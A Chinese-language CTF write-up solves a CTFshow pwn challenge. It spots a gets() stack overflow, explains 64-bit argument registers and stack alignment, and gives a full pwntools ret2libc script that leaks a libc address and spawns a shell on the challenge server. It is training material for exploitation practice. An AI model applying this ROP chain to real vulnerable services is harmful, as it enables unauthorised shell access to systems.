CTFSHOW 萌新赛 签到题
1.题目下载地址
2. checksec检查保护
堆不可执行
3.IDA分析
看到了gets()函数,很明显存在溢出
需要知道64位系统和32位系统的区别
64 位系统传参从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9
从第7个参数开始,接下来的所有参数都才通过栈传递
4.构造ROP链
我们需要找到合适的 gadgets,利用 ROPgadget
addr_rdi=0x400793
addr_ret=0x40053e
- 构造 payload 利用 puts 函数泄漏真实地址(plt 表和 got 表的延迟绑定机制)
- 然后算出基址 libcbase,并劫持程序回到主函数以便再次利用
- 用泄露的地址查出 libc 版本,利用 libc 和 libcbase 算出 system() 和 /bin/sh 真实地址
- 构造 payload getshell
看一下src的大小是0x70
栈的字节对齐(32 位 8 字节对齐,64 位 16 字节对齐,这样对齐的目的是提高效率)
参见x86_64 Linux 运行时栈的字节对齐
对齐只需要在跳转前面来一次空的 ret
4.exp
#-*- coding: utf-8 -*-
from pwn import * #pwntools
from LibcSearcher import * #用来寻找 libc
#context.log_level = "debug" #便于调试
p=remote('124.156.121.112',28094)
elf=ELF('pwn1') #名字和导入的 pwn 模块冲突,改成了 pwn1
main_addr=0x400687
rdi_addr=0x400793
ret_addr=0x40053e
put_plt=elf.plt['puts']
put_got=elf.got['printf']
pay='a'*(0x70+8)+p64(rdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)
p.recvuntil('successful!')
p.sendline(pay)
p.recvuntil('joke')
put_addr=u64(p.recv(6)+'\x00\x00')
print hex(put_addr)
libc=LibcSearcher('printf',put_addr)
libcbase=put_addr-libc.dump('printf')
sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')
pay='a'*(0x70+8)+p64(ret_addr)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)
p.recvuntil('successful!')
p.sendline(pay)
p.interactive()